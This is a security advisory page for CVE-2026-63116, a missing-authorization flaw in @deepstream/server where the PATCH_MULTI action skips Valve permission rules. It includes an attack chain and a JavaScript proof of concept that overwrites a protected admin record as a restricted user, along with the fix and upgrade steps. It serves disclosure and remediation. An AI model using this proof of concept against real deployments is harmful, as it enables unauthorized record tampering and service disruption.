Loading...
Skip to main content

CVE-2026-63116 — Vulnerability in @deepstream/server — CVE Details

HIGH

deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes

Published September 22, 2026Updated September 22, 2026Source: osv

Summary

## Summary The `RECORD_ACTION.PATCH_MULTI` action is not registered in the Valve permission system's `RULES_MAP` (`src/services/permission/valve/rules-map.ts`). When `ConfigPermission.canPerformAction()` is called for a PATCH_MULTI message, `getRulesForMessage()` returns `null` because the action is missing from the map. This triggers an unconditional allow (`callback(..., null, true)`), completely bypassing all configured Valve permission rules. Any authenticated user — regardless of their configured permissions — can write arbitrary data to any record using the PATCH_MULTI action. ## Root Cause In `src/services/permission/valve/rules-map.ts` lines 38-54, the `RULES_MAP[TOPIC.RECORD].actions` dictionary maps record actions to permission rule types. The actions registered include: SUBSCRIBE, SUBSCRIBEANDHEAD, SUBSCRIBEANDREAD, READ, HEAD, LISTEN, CREATE, UPDATE, PATCH, NOTIFY, DELETE, ERASE. However, `RECORD_ACTION.PATCH_MULTI` is **absent** from this map. When `getRulesForMessage()` at line 86-99 encounters an action not in the map, it returns `null`. In `config-permission.ts` at line 88-93, when `ruleSpecification === null`, the callback is invoked with `true` (allow) unconditionally. ## Attack Chain 1. Attacker authenticates with any valid credentials (even a minimal-privilege user) 2. Attacker sends a WebSocket message: `{topic: RECORD, action: PATCH_MULTI, name: "admin/secret-record", parsedData: [{path: "role", data: "admin"}]}` 3. `message-processor.ts:68` invokes permission check 4. `config-permission.ts:89` → `getRulesForMessage()` returns `null` for PATCH_MULTI 5. `config-permission.ts:92` → unconditional ALLOW 6. Record transition applies the operations — arbitrary record is modified ## Impact - **Complete Valve permission bypass for record writes** — all configured permission rules are irrelevant - Any authenticated user can overwrite any record, including admin-only records - Mass record overwrites can destroy application state, corrupt sessions, cause service outage - Only exploitable when `permission.type` is set to `config` (Valve) — the recommended production configuration per deepstream documentation - Default permission type `none` (OpenPermission) allows everything already, so default deployments are unaffected <details><summary>Proof of Concept</summary> ```javascript // Connect as a minimal-privilege user const { DeepstreamClient } = require('@deepstream/client'); const client = new DeepstreamClient('localhost:6020'); await client.login({ username: 'restricted-user', password: 'password' }); // This should be blocked by Valve permissions but isn't: // Send raw PATCH_MULTI message to bypass all permission rules const connection = client.getConnection(); connection.sendMessage({ topic: 0x52, // TOPIC.RECORD action: 0x50, // RECORD_ACTION.PATCH_MULTI (check actual enum value) name: 'admin/protected-record', parsedData: [ { path: 'permissions', data: 'admin' }, { path: 'secret', data: 'overwritten' } ] }); ``` </details> ## Suggested Fix Add `PATCH_MULTI` to the RULES_MAP in `src/services/permission/valve/rules-map.ts`: ```typescript [RECORD_ACTION.PATCH_MULTI]: RULE_TYPES.WRITE, ``` This maps PATCH_MULTI operations to the same WRITE permission rule that governs UPDATE and PATCH. ## Affected Versions All versions that include PATCH_MULTI support with the Valve (ConfigPermission) permission system. The PATCH_MULTI action was added in commit `82ffa8119d8f4a8242ac5c3507469a22de746b65` but was never registered in RULES_MAP. ## Credit Vulnerability discovered by Zhixi "Jace" Sun of ASM/VI at TikTok.

Advisory Timeline

  • First published September 22, 2026 (20 days ago).
  • Last revised September 22, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update @deepstream/server to 10.1.1 or later
npm install @deepstream/server@10.1.1

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
@deepstream/server
npm
10.1.010.1.1

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-862
    Missing AuthorizationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-63116?
deepstream: PATCH_MULTI action bypasses Valve permission system allowing unauthorized record writes This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-63116?
CVE-2026-63116 affects @deepstream/server. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-63116 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-89vx-jh4q-vg3w

Related CVEs

  • CVE-2026-49252
    CRITICAL

    deepstream is vulnerable to prototype pollution

  • CVE-2026-107375
    HIGH

    JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort

  • CVE-2026-107384
    HIGH

    MariaDB Connector/Node.js: SQL injection through object keys in SET expansion (permitSetMultiParamEntries)

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies